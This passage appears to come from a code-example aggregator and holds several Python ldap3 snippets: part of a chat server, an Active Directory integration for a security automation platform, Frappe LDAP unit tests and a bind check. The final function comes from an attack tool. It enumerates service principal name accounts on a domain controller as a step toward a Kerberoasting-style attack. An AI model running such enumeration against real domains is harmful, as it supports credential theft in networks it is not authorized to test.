                                (user, i))
                            query = c.fetchall()
                            if len(query) == 0:
                                continue
                            else:
                                c.execute(
                                    "DELETE FROM blocklist WHERE blockingusername = ? and blockedusername= ?",
                                    (user, i))
                                conn.commit()

                    conn.commit()

                else:
                    # remove the socket that's broken
                    c.execute(
                        '''UPDATE userlist SET online = ?,lastseen=?, socketnumber =? WHERE socketnumber = ? ''',
                        (0, datetime.datetime.now(), 0, sock.fileno()))
                    if sock in SOCKET_LIST:
                        SOCKET_LIST.remove(sock)
                    conn.commit()

    server_socket.close()
예제 #57
0
def main():
    ''' INSTANCE CONFIGURATION '''
    SERVER_IP = demisto.params().get('server_ip')
    USERNAME = demisto.params().get('credentials')['identifier']
    PASSWORD = demisto.params().get('credentials')['password']
    DEFAULT_BASE_DN = demisto.params().get('base_dn')
    SECURE_CONNECTION = demisto.params().get('secure_connection')
    DEFAULT_PAGE_SIZE = int(demisto.params().get('page_size'))
    NTLM_AUTH = demisto.params().get('ntlm')
    UNSECURE = demisto.params().get('unsecure', False)
    PORT = demisto.params().get('port')

    if PORT:
        # port was configured, cast to int
        PORT = int(PORT)
    last_log_detail_level = None
    try:
        try:
            set_library_log_hide_sensitive_data(True)
            if is_debug_mode():
                demisto.info(
                    'debug-mode: setting library log detail to EXTENDED')
                last_log_detail_level = get_library_log_detail_level()
                set_library_log_detail_level(EXTENDED)
            server = initialize_server(SERVER_IP, PORT, SECURE_CONNECTION,
                                       UNSECURE)
        except Exception as e:
            return_error(str(e))
            return
        global conn
        if NTLM_AUTH:
            # intialize connection to LDAP server with NTLM authentication
            # user example: domain\user
            domain_user = SERVER_IP + '\\' + USERNAME if '\\' not in USERNAME else USERNAME
            conn = Connection(server,
                              user=domain_user,
                              password=PASSWORD,
                              authentication=NTLM)
        else:
            # here username should be the user dn
            conn = Connection(server, user=USERNAME, password=PASSWORD)

        # bind operation is the “authenticate” operation.
        try:
            # open socket and bind to server
            if not conn.bind():
                message = "Failed to bind to server. Please validate the credentials configured correctly.\n{}".format(
                    json.dumps(conn.result))
                return_error(message)
                return
        except Exception as e:
            exc_msg = str(e)
            demisto.info("Failed bind to: {}:{}. {}: {}".format(
                SERVER_IP, PORT, type(e),
                exc_msg + "\nTrace:\n{}".format(traceback.format_exc())))
            message = "Failed to access LDAP server. Please validate the server host and port are configured correctly"
            if 'ssl wrapping error' in exc_msg:
                message = "Failed to access LDAP server. SSL error."
                if not UNSECURE:
                    message += ' Try using: "Trust any certificate" option.'
            return_error(message)
            return

        demisto.info('Established connection with AD LDAP server')

        if not base_dn_verified(DEFAULT_BASE_DN):
            message = "Failed to verify the base DN configured for the instance.\n" \
                "Last connection result: {}\n" \
                "Last error from LDAP server: {}".format(json.dumps(conn.result), json.dumps(conn.last_error))
            return_error(message)
            return

        demisto.info('Verfied base DN "{}"'.format(DEFAULT_BASE_DN))
        ''' COMMAND EXECUTION '''

        if demisto.command() == 'test-module':
            if conn.user == '':
                # Empty response means you have no authentication status on the server, so you are an anonymous user.
                raise Exception("Failed to authenticate user")
            demisto.results('ok')

        if demisto.command() == 'ad-search':
            free_search(DEFAULT_BASE_DN, DEFAULT_PAGE_SIZE)

        if demisto.command() == 'ad-expire-password':
            expire_user_password(DEFAULT_BASE_DN)

        if demisto.command() == 'ad-set-new-password':
            set_user_password(DEFAULT_BASE_DN)

        if demisto.command() == 'ad-unlock-account':
            unlock_account(DEFAULT_BASE_DN)

        if demisto.command() == 'ad-disable-account':
            disable_user(DEFAULT_BASE_DN)

        if demisto.command() == 'ad-enable-account':
            enable_user(DEFAULT_BASE_DN)

        if demisto.command() == 'ad-remove-from-group':
            remove_member_from_group(DEFAULT_BASE_DN)

        if demisto.command() == 'ad-add-to-group':
            add_member_to_group(DEFAULT_BASE_DN)

        if demisto.command() == 'ad-create-user':
            create_user()

        if demisto.command() == 'ad-delete-user':
            delete_user()

        if demisto.command() == 'ad-update-user':
            update_user(DEFAULT_BASE_DN)

        if demisto.command() == 'ad-modify-computer-ou':
            modify_computer_ou(DEFAULT_BASE_DN)

        if demisto.command() == 'ad-create-contact':
            create_contact()

        if demisto.command() == 'ad-update-contact':
            update_contact()

        if demisto.command() == 'ad-get-user':
            search_users(DEFAULT_BASE_DN, DEFAULT_PAGE_SIZE)

        if demisto.command() == 'ad-get-computer':
            search_computers(DEFAULT_BASE_DN, DEFAULT_PAGE_SIZE)

        if demisto.command() == 'ad-get-group-members':
            search_group_members(DEFAULT_BASE_DN, DEFAULT_PAGE_SIZE)

    except Exception as e:
        message = str(e)
        if conn:
            message += "\nLast connection result: {}\nLast error from LDAP server: {}".format(
                json.dumps(conn.result), conn.last_error)
        return_error(message)
        return
    finally:
        # disconnect and close the connection
        if conn:
            conn.unbind()
        if last_log_detail_level:
            set_library_log_detail_level(last_log_detail_level)
예제 #58
0
class LDAP_TestCase:
    TEST_LDAP_SERVER = None  # must match the 'LDAP Settings' field option
    TEST_LDAP_SEARCH_STRING = None
    LDAP_USERNAME_FIELD = None
    DOCUMENT_GROUP_MAPPINGS = []
    LDAP_SCHEMA = None
    LDAP_LDIF_JSON = None
    TEST_VALUES_LDAP_COMPLEX_SEARCH_STRING = None

    def mock_ldap_connection(f):
        @functools.wraps(f)
        def wrapped(self, *args, **kwargs):

            with mock.patch(
                    "frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.connect_to_ldap"
            ) as mock_connection:
                mock_connection.return_value = self.connection

                self.test_class = LDAPSettings(self.doc)

                # Create a clean doc
                localdoc = self.doc.copy()
                frappe.get_doc(localdoc).save()

                rv = f(self, *args, **kwargs)

            # Clean-up
            self.test_class = None

            return rv

        return wrapped

    def clean_test_users():
        try:  # clean up test user 1
            frappe.get_doc("User", "*****@*****.**").delete()
        except Exception:
            pass

        try:  # clean up test user 2
            frappe.get_doc("User", "*****@*****.**").delete()
        except Exception:
            pass

    @classmethod
    def setUpClass(self, ldapServer="OpenLDAP"):

        self.clean_test_users()
        # Save user data for restoration in tearDownClass()
        self.user_ldap_settings = frappe.get_doc("LDAP Settings")

        # Create test user1
        self.user1doc = {
            "username": "******",
            "email": "*****@*****.**",
            "first_name": "posix",
        }
        self.user1doc.update({
            "doctype": "User",
            "send_welcome_email": 0,
            "language": "",
            "user_type": "System User",
        })

        user = frappe.get_doc(self.user1doc)
        user.insert(ignore_permissions=True)

        # Create test user1
        self.user2doc = {
            "username": "******",
            "email": "*****@*****.**",
            "first_name": "posix",
        }
        self.user2doc.update({
            "doctype": "User",
            "send_welcome_email": 0,
            "language": "",
            "user_type": "System User",
        })

        user = frappe.get_doc(self.user2doc)
        user.insert(ignore_permissions=True)

        # Setup Mock OpenLDAP Directory
        self.ldap_dc_path = "dc=unit,dc=testing"
        self.ldap_user_path = "ou=users," + self.ldap_dc_path
        self.ldap_group_path = "ou=groups," + self.ldap_dc_path
        self.base_dn = "cn=base_dn_user," + self.ldap_dc_path
        self.base_password = "******"
        self.ldap_server = "ldap://my_fake_server:389"

        self.doc = {
            "doctype": "LDAP Settings",
            "enabled": True,
            "ldap_directory_server": self.TEST_LDAP_SERVER,
            "ldap_server_url": self.ldap_server,
            "base_dn": self.base_dn,
            "password": self.base_password,
            "ldap_search_path_user": self.ldap_user_path,
            "ldap_search_string": self.TEST_LDAP_SEARCH_STRING,
            "ldap_search_path_group": self.ldap_group_path,
            "ldap_user_creation_and_mapping_section": "",
            "ldap_email_field": "mail",
            "ldap_username_field": self.LDAP_USERNAME_FIELD,
            "ldap_first_name_field": "givenname",
            "ldap_middle_name_field": "",
            "ldap_last_name_field": "sn",
            "ldap_phone_field": "telephonenumber",
            "ldap_mobile_field": "mobile",
            "ldap_security": "",
            "ssl_tls_mode": "",
            "require_trusted_certificate": "No",
            "local_private_key_file": "",
            "local_server_certificate_file": "",
            "local_ca_certs_file": "",
            "ldap_group_objectclass": "",
            "ldap_group_member_attribute": "",
            "default_role": "Newsletter Manager",
            "ldap_groups": self.DOCUMENT_GROUP_MAPPINGS,
            "ldap_group_field": "",
        }

        self.server = Server(host=self.ldap_server,
                             port=389,
                             get_info=self.LDAP_SCHEMA)

        self.connection = Connection(
            self.server,
            user=self.base_dn,
            password=self.base_password,
            read_only=True,
            client_strategy=MOCK_SYNC,
        )

        self.connection.strategy.entries_from_json(
            os.path.abspath(os.path.dirname(__file__)) + "/" +
            self.LDAP_LDIF_JSON)

        self.connection.bind()

    @classmethod
    def tearDownClass(self):
        try:
            frappe.get_doc("LDAP Settings").delete()

        except Exception:
            pass

        try:
            # return doc back to user data
            self.user_ldap_settings.save()

        except Exception:
            pass

        # Clean-up test users
        self.clean_test_users()

        # Clear OpenLDAP connection
        self.connection = None

    @mock_ldap_connection
    def test_mandatory_fields(self):

        mandatory_fields = [
            "ldap_server_url",
            "ldap_directory_server",
            "base_dn",
            "password",
            "ldap_search_path_user",
            "ldap_search_path_group",
            "ldap_search_string",
            "ldap_email_field",
            "ldap_username_field",
            "ldap_first_name_field",
            "require_trusted_certificate",
            "default_role",
        ]  # fields that are required to have ldap functioning need to be mandatory

        for mandatory_field in mandatory_fields:

            localdoc = self.doc.copy()
            localdoc[mandatory_field] = ""

            try:

                frappe.get_doc(localdoc).save()

                self.fail(
                    "Document LDAP Settings field [{0}] is not mandatory".
                    format(mandatory_field))

            except frappe.exceptions.MandatoryError:
                pass

            except frappe.exceptions.ValidationError:
                if mandatory_field == "ldap_search_string":
                    # additional validation is done on this field, pass in this instance
                    pass

        for non_mandatory_field in self.doc:  # Ensure remaining fields have not been made mandatory

            if non_mandatory_field == "doctype" or non_mandatory_field in mandatory_fields:
                continue

            localdoc = self.doc.copy()
            localdoc[non_mandatory_field] = ""

            try:

                frappe.get_doc(localdoc).save()

            except frappe.exceptions.MandatoryError:
                self.fail(
                    "Document LDAP Settings field [{0}] should not be mandatory"
                    .format(non_mandatory_field))

    @mock_ldap_connection
    def test_validation_ldap_search_string(self):

        invalid_ldap_search_strings = [
            "",
            "uid={0}",
            "(uid={0}",
            "uid={0})",
            "(&(objectclass=posixgroup)(uid={0})",
            "&(objectclass=posixgroup)(uid={0}))",
            "(uid=no_placeholder)",
        ]  # ldap search string must be enclosed in '()' for ldap search to work for finding user and have the same number of opening and closing brackets.

        for invalid_search_string in invalid_ldap_search_strings:

            localdoc = self.doc.copy()
            localdoc["ldap_search_string"] = invalid_search_string

            try:
                frappe.get_doc(localdoc).save()

                self.fail(
                    "LDAP search string [{0}] should not validate".format(
                        invalid_search_string))

            except frappe.exceptions.ValidationError:
                pass

    def test_connect_to_ldap(self):

        # setup a clean doc with ldap disabled so no validation occurs (this is tested seperatly)
        local_doc = self.doc.copy()
        local_doc["enabled"] = False
        self.test_class = LDAPSettings(self.doc)

        with mock.patch("ldap3.Server") as ldap3_server_method:

            with mock.patch("ldap3.Connection") as ldap3_connection_method:
                ldap3_connection_method.return_value = self.connection

                with mock.patch("ldap3.Tls") as ldap3_Tls_method:

                    function_return = self.test_class.connect_to_ldap(
                        base_dn=self.base_dn, password=self.base_password)

                    args, kwargs = ldap3_connection_method.call_args

                    prevent_connection_parameters = {
                        # prevent these parameters for security or lack of the und user from being able to configure
                        "mode": {
                            "IP_V4_ONLY":
                            "Locks the user to IPv4 without frappe providing a way to configure",
                            "IP_V6_ONLY":
                            "Locks the user to IPv6 without frappe providing a way to configure",
                        },
                        "auto_bind": {
                            "NONE":
                            "ldap3.Connection must autobind with base_dn",
                            "NO_TLS":
                            "ldap3.Connection must have TLS",
                            "TLS_AFTER_BIND":
                            "[Security] ldap3.Connection TLS bind must occur before bind",
                        },
                    }

                    for connection_arg in kwargs:

                        if (connection_arg in prevent_connection_parameters
                                and kwargs[connection_arg] in
                                prevent_connection_parameters[connection_arg]):

                            self.fail(
                                "ldap3.Connection was called with {0}, failed reason: [{1}]"
                                .format(
                                    kwargs[connection_arg],
                                    prevent_connection_parameters[
                                        connection_arg][
                                            kwargs[connection_arg]],
                                ))

                    if local_doc["require_trusted_certificate"] == "Yes":
                        tls_validate = ssl.CERT_REQUIRED
                        tls_version = ssl.PROTOCOL_TLS_CLIENT
                        tls_configuration = ldap3.Tls(validate=tls_validate,
                                                      version=tls_version)

                        self.assertTrue(
                            kwargs["auto_bind"] ==
                            ldap3.AUTO_BIND_TLS_BEFORE_BIND,
                            "Security: [ldap3.Connection] autobind TLS before bind with value ldap3.AUTO_BIND_TLS_BEFORE_BIND",
                        )

                    else:
                        tls_validate = ssl.CERT_NONE
                        tls_version = ssl.PROTOCOL_TLS_CLIENT
                        tls_configuration = ldap3.Tls(validate=tls_validate,
                                                      version=tls_version)

                        self.assertTrue(kwargs["auto_bind"],
                                        "ldap3.Connection must autobind")

                    ldap3_Tls_method.assert_called_with(validate=tls_validate,
                                                        version=tls_version)

                    ldap3_server_method.assert_called_with(
                        host=self.doc["ldap_server_url"],
                        tls=tls_configuration)

                    self.assertTrue(
                        kwargs["password"] == self.base_password,
                        "ldap3.Connection password does not match provided password",
                    )

                    self.assertTrue(
                        kwargs["raise_exceptions"],
                        "ldap3.Connection must raise exceptions for error handling"
                    )

                    self.assertTrue(
                        kwargs["user"] == self.base_dn,
                        "ldap3.Connection user does not match provided user")

                    ldap3_connection_method.assert_called_with(
                        server=ldap3_server_method.return_value,
                        auto_bind=True,
                        password=self.base_password,
                        raise_exceptions=True,
                        read_only=True,
                        user=self.base_dn,
                    )

                    self.assertTrue(
                        type(function_return) is
                        ldap3.core.connection.Connection,
                        "The return type must be of ldap3.Connection",
                    )

                    function_return = self.test_class.connect_to_ldap(
                        base_dn=self.base_dn,
                        password=self.base_password,
                        read_only=False)

                    args, kwargs = ldap3_connection_method.call_args

                    self.assertFalse(
                        kwargs["read_only"],
                        "connect_to_ldap() read_only parameter supplied as False but does not match the ldap3.Connection() read_only named parameter",
                    )

    @mock_ldap_connection
    def test_get_ldap_client_settings(self):

        result = self.test_class.get_ldap_client_settings()

        self.assertIsInstance(result, dict)

        self.assertTrue(result["enabled"] ==
                        self.doc["enabled"])  # settings should match doc

        localdoc = self.doc.copy()
        localdoc["enabled"] = False
        frappe.get_doc(localdoc).save()

        result = self.test_class.get_ldap_client_settings()

        self.assertFalse(result["enabled"])  # must match the edited doc

    @mock_ldap_connection
    def test_update_user_fields(self):

        test_user_data = {
            "username": "******",
            "email": "*****@*****.**",
            "first_name": "posix",
            "middle_name": "another",
            "last_name": "user",
            "phone": "08 1234 5678",
            "mobile_no": "0421 123 456",
        }

        test_user = frappe.get_doc("User", test_user_data["email"])

        self.test_class.update_user_fields(test_user, test_user_data)

        updated_user = frappe.get_doc("User", test_user_data["email"])

        self.assertTrue(
            updated_user.middle_name == test_user_data["middle_name"])
        self.assertTrue(updated_user.last_name == test_user_data["last_name"])
        self.assertTrue(updated_user.phone == test_user_data["phone"])
        self.assertTrue(updated_user.mobile_no == test_user_data["mobile_no"])

    @mock_ldap_connection
    def test_sync_roles(self):

        if self.TEST_LDAP_SERVER.lower() == "openldap":
            test_user_data = {
                "posix.user1": [
                    "Users",
                    "Administrators",
                    "default_role",
                    "frappe_default_all",
                    "frappe_default_guest",
                ],
                "posix.user2": [
                    "Users",
                    "Group3",
                    "default_role",
                    "frappe_default_all",
                    "frappe_default_guest",
                ],
            }

        elif self.TEST_LDAP_SERVER.lower() == "active directory":
            test_user_data = {
                "posix.user1": [
                    "Domain Users",
                    "Domain Administrators",
                    "default_role",
                    "frappe_default_all",
                    "frappe_default_guest",
                ],
                "posix.user2": [
                    "Domain Users",
                    "Enterprise Administrators",
                    "default_role",
                    "frappe_default_all",
                    "frappe_default_guest",
                ],
            }

        role_to_group_map = {
            self.doc["ldap_groups"][0]["erpnext_role"]:
            self.doc["ldap_groups"][0]["ldap_group"],
            self.doc["ldap_groups"][1]["erpnext_role"]:
            self.doc["ldap_groups"][1]["ldap_group"],
            self.doc["ldap_groups"][2]["erpnext_role"]:
            self.doc["ldap_groups"][2]["ldap_group"],
            "Newsletter Manager":
            "default_role",
            "All":
            "frappe_default_all",
            "Guest":
            "frappe_default_guest",
        }

        # re-create user1 to ensure clean
        frappe.get_doc("User", "*****@*****.**").delete()
        user = frappe.get_doc(self.user1doc)
        user.insert(ignore_permissions=True)

        for test_user in test_user_data:

            test_user_doc = frappe.get_doc("User", test_user + "@unit.testing")
            test_user_roles = frappe.get_roles(test_user + "@unit.testing")

            self.assertTrue(
                len(test_user_roles) == 2,
                "User should only be a part of the All and Guest roles"
            )  # check default frappe roles

            self.test_class.sync_roles(
                test_user_doc, test_user_data[test_user])  # update user roles

            frappe.get_doc("User", test_user + "@unit.testing")
            updated_user_roles = frappe.get_roles(test_user + "@unit.testing")

            self.assertTrue(
                len(updated_user_roles) == len(test_user_data[test_user]),
                "syncing of the user roles failed. {0} != {1} for user {2}".
                format(len(updated_user_roles), len(test_user_data[test_user]),
                       test_user),
            )

            for user_role in updated_user_roles:  # match each users role mapped to ldap groups

                self.assertTrue(
                    role_to_group_map[user_role] in test_user_data[test_user],
                    "during sync_roles(), the user was given role {0} which should not have occured"
                    .format(user_role),
                )

    @mock_ldap_connection
    def test_create_or_update_user(self):

        test_user_data = {
            "posix.user1": [
                "Users",
                "Administrators",
                "default_role",
                "frappe_default_all",
                "frappe_default_guest",
            ],
        }

        test_user = "******"

        frappe.get_doc("User",
                       test_user + "@unit.testing").delete()  # remove user 1

        with self.assertRaises(
                frappe.exceptions.DoesNotExistError
        ):  # ensure user deleted so function can be tested
            frappe.get_doc("User", test_user + "@unit.testing")

        with mock.patch(
                "frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.update_user_fields"
        ) as update_user_fields_method:

            update_user_fields_method.return_value = None

            with mock.patch(
                    "frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.sync_roles"
            ) as sync_roles_method:

                sync_roles_method.return_value = None

                # New user
                self.test_class.create_or_update_user(
                    self.user1doc, test_user_data[test_user])

                self.assertTrue(
                    sync_roles_method.called,
                    "User roles need to be updated for a new user")
                self.assertFalse(
                    update_user_fields_method.called,
                    "User roles are not required to be updated for a new user, this will occur during logon",
                )

                # Existing user
                self.test_class.create_or_update_user(
                    self.user1doc, test_user_data[test_user])

                self.assertTrue(
                    sync_roles_method.called,
                    "User roles need to be updated for an existing user")
                self.assertTrue(
                    update_user_fields_method.called,
                    "User fields need to be updated for an existing user")

    @mock_ldap_connection
    def test_get_ldap_attributes(self):

        method_return = self.test_class.get_ldap_attributes()

        self.assertTrue(type(method_return) is list)

    @mock_ldap_connection
    def test_fetch_ldap_groups(self):

        if self.TEST_LDAP_SERVER.lower() == "openldap":
            test_users = {
                "posix.user": ["Users", "Administrators"],
                "posix.user2": ["Users", "Group3"]
            }
        elif self.TEST_LDAP_SERVER.lower() == "active directory":
            test_users = {
                "posix.user": ["Domain Users", "Domain Administrators"],
                "posix.user2": ["Domain Users", "Enterprise Administrators"],
            }

        for test_user in test_users:

            self.connection.search(
                search_base=self.ldap_user_path,
                search_filter=self.TEST_LDAP_SEARCH_STRING.format(test_user),
                attributes=self.test_class.get_ldap_attributes(),
            )

            method_return = self.test_class.fetch_ldap_groups(
                self.connection.entries[0], self.connection)

            self.assertIsInstance(method_return, list)
            self.assertTrue(len(method_return) == len(test_users[test_user]))

            for returned_group in method_return:

                self.assertTrue(returned_group in test_users[test_user])

    @mock_ldap_connection
    def test_authenticate(self):

        with mock.patch(
                "frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.fetch_ldap_groups"
        ) as fetch_ldap_groups_function:

            fetch_ldap_groups_function.return_value = None

            self.assertTrue(
                self.test_class.authenticate("posix.user",
                                             "posix_user_password"))

        self.assertTrue(
            fetch_ldap_groups_function.called,
            "As part of authentication function fetch_ldap_groups_function needs to be called",
        )

        invalid_users = [
            {
                "prefix_posix.user": "******"
            },
            {
                "posix.user_postfix": "posix_user_password"
            },
            {
                "posix.user": "******"
            },
            {
                "posix.user": "******"
            },
            {
                "posix.user": ""
            },
            {
                "": "posix_user_password"
            },
            {
                "": ""
            },
        ]  # All invalid users should return 'invalid username or password'

        for username, password in enumerate(invalid_users):

            with self.assertRaises(
                    frappe.exceptions.ValidationError) as display_massage:

                self.test_class.authenticate(username, password)

            self.assertTrue(
                str(display_massage.exception).lower() ==
                "invalid username or password",
                "invalid credentials passed authentication [user: {0}, password: {1}]"
                .format(username, password),
            )

    @mock_ldap_connection
    def test_complex_ldap_search_filter(self):

        ldap_search_filters = self.TEST_VALUES_LDAP_COMPLEX_SEARCH_STRING

        for search_filter in ldap_search_filters:

            self.test_class.ldap_search_string = search_filter

            if (
                    "ACCESS:test3" in search_filter
            ):  # posix.user does not have str in ldap.description auth should fail

                with self.assertRaises(
                        frappe.exceptions.ValidationError) as display_massage:

                    self.test_class.authenticate("posix.user",
                                                 "posix_user_password")

                self.assertTrue(
                    str(display_massage.exception).lower() ==
                    "invalid username or password")

            else:
                self.assertTrue(
                    self.test_class.authenticate("posix.user",
                                                 "posix_user_password"))

    def test_reset_password(self):

        self.test_class = LDAPSettings(self.doc)

        # Create a clean doc
        localdoc = self.doc.copy()

        localdoc["enabled"] = False
        frappe.get_doc(localdoc).save()

        with mock.patch(
                "frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.connect_to_ldap"
        ) as connect_to_ldap:
            connect_to_ldap.return_value = self.connection

            with self.assertRaises(
                    frappe.exceptions.ValidationError
            ) as validation:  # Fail if username string used
                self.test_class.reset_password("posix.user",
                                               "posix_user_password")

            self.assertTrue(
                str(validation.exception) ==
                "No LDAP User found for email: posix.user")

            try:
                self.test_class.reset_password(
                    "*****@*****.**",
                    "posix_user_password")  # Change Password

            except Exception:  # An exception from the tested class is ok, as long as the connection to LDAP was made writeable
                pass

            connect_to_ldap.assert_called_with(self.base_dn,
                                               self.base_password,
                                               read_only=False)

    @mock_ldap_connection
    def test_convert_ldap_entry_to_dict(self):

        self.connection.search(
            search_base=self.ldap_user_path,
            search_filter=self.TEST_LDAP_SEARCH_STRING.format("posix.user"),
            attributes=self.test_class.get_ldap_attributes(),
        )

        test_ldap_entry = self.connection.entries[0]

        method_return = self.test_class.convert_ldap_entry_to_dict(
            test_ldap_entry)

        self.assertTrue(type(method_return) is dict)  # must be dict
        self.assertTrue(
            len(method_return) == 6)  # there are 6 fields in mock_ldap for use
예제 #59
0
def check_bind(server, uid, password):
    conn = Connection(server, uid, password)
    if not conn.bind():
        raise ExceptionWrongUserPass
    conn.unbind()
예제 #60
0
def ldap_get_all_users_spn(AttackParameters, port):
    # build DN
    DN = "DC=" + ",DC=".join(AttackParameters.realm.split('.'))

    # Kerberos authentication
    if AttackParameters.auth_gssapi:
        WRITE_STDOUT(G + "\nConnecting to " + B + '\'' + AttackParameters.DC_addr \
                    + '\'' + W + G + " using ldap protocol and"\
                    + " Kerberos authentication!\n" + W)

        WRITE_STDOUT('  [+] Creating ticket ccache file %r...' % ccache_file)
        cc = CCache((AttackParameters.realm, AttackParameters.user_account))
        tgt_cred = kdc_rep2ccache(AttackParameters.as_data["as_rep"],
                                  AttackParameters.as_data["as_rep_enc"])
        cc.add_credential(tgt_cred)
        cc.save(ccache_file)
        WRITE_STDOUT(' Done!\n')

        WRITE_STDOUT('  [+] Initiating ldap connection using ticket...')
        server = ldap3.Server(AttackParameters.DC_addr)
        c = ldap3.Connection(server,
                             authentication=ldap3.SASL,
                             sasl_mechanism='GSSAPI')
        WRITE_STDOUT(' Done!\n')

    # NTLM authentication
    else:
        WRITE_STDOUT(G + "Connecting to " + B + '\'' + AttackParameters.DC_addr + '\'' + W +\
                         G + " using ldap protocol and NTLM authentication!\n" + W)

        s = Server(AttackParameters.DC_addr, port=389, get_info=ALL)

        c = Connection(s,
                       auto_bind=False,
                       client_strategy=SYNC,
                       user=AttackParameters.realm + "\\" +
                       AttackParameters.user_account,
                       password=AttackParameters.password,
                       authentication=NTLM,
                       check_names=True)

    # Now we should be connected to the DC through LDAP
    try:
        c.open()
    except ldap3.core.exceptions.LDAPSocketOpenError as e:
        WRITE_STDOUT(R + "ldap connection error: %s\n" % e + W)
        sys.exit(1)

    try:
        r = c.bind()
    except:
        WRITE_STDOUT(R + "Cannot connect to ldap, exiting.\n" + W)
        sys.exit(1)

    # Query to find all accounts having a servicePrincipalName
    attributes_to_retrieve = [x.lower() for x in ATTRIBUTES_TO_RETRIEVE]

    c.search(DN,
             LDAP_QUERY,
             search_scope='SUBTREE',
             attributes=attributes_to_retrieve)

    if not c.response:
        WRITE_STDOUT(R + "Cannot find any SPN, wrong user/credentials?\n" + W)
        sys.exit(1)

    WRITE_STDOUT('  [+] Retrieving all SPN and corresponding accounts...')

    # construct path to SPN_outfile to store LDAP response
    if AttackParameters.outputfile_path != None:
        outputfile_spn = ""
        dirname = os.path.dirname(AttackParameters.outputfile_path)
        # current dir
        if dirname == '':
            dirname = './'
        else:
            dirname = dirname + '/'
        filename = os.path.basename(AttackParameters.outputfile_path)
        filename = 'SPN_' + filename
        outputfile_spn = open(dirname + filename, 'w')

    # iterate through results to construc dico[{'attribute':'value'},{}, etc.] for each "{}" account
    dico_users_spn = []
    for matching_object in c.response:
        if matching_object.has_key('attributes'):
            dico_account = {}
            for attribute, value in matching_object['attributes'].items():
                # delimiter of SPN is ';' in AD but ',' using ldap3 structures
                if attribute.lower(
                ) == "serviceprincipalname" and len(attribute) > 1:
                    # only need one SPN for the attack
                    value = value[0]
                if attribute.lower() in attributes_to_retrieve:
                    if type(value) is int:
                        dico_account[attribute.encode("utf8").lower()] = str(
                            value)
                    else:
                        value = "".join(value).encode("utf8")
                        dico_account[attribute.encode(
                            "utf8").lower()] = value.lower()
            dico_users_spn.append(dico_account)

    # Disconnecting from DC
    WRITE_STDOUT(' Done!\n')
    c.unbind()
    WRITE_STDOUT(G + "Successfully disconnected from "+ B + '\''\
                 + AttackParameters.DC_addr + '\'\n' + W)

    # write to SPN_outputfile
    if AttackParameters.outputfile_path != None:
        for accounts in dico_users_spn:
            line_to_write = accounts['samaccountname']+'$'\
                            +accounts['serviceprincipalname']
            if accounts.has_key('memberof'):
                line_to_write = line_to_write + '$' + accounts['memberof']
            if accounts.has_key('primarygroupid'):
                line_to_write = line_to_write + '$primaryGroupID:'\
                                + accounts['primarygroupid']
            outputfile_spn.write(line_to_write + '\n')
        outputfile_spn.close()

    return dico_users_spn